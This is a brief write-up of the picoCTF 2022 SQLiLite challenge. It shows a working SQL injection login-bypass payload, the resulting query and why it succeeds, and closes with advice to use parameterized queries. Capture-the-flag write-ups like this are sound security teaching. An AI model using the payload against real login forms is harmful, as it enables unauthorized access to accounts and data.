PicoCTF SQLiLite Writeup: Basic Login Bypass with SQL Injection

SQLiLite is a picoCTF 2022 web challenge that demonstrates a classic authentication bypass. The login form accepts user input that is placed into a SQL query without proper parameterization.

Payload

The payload makes the username condition true by injecting an OR expression:

Username: admin' OR '1'='1
Password: 1

The query becomes:

SELECT * FROM users WHERE name='admin' OR '1'='1' AND password='1'

Since '1'='1' is true, the application accepts the login.

Flag

After authentication, the application exposes the flag page.

Key Takeaways

1. SQL injection in login forms usually appears when input is interpolated into a query string.
2. Tautology payloads are useful for confirming the vulnerability quickly.
3. Parameterized queries are the correct fix; filtering strings is not enough.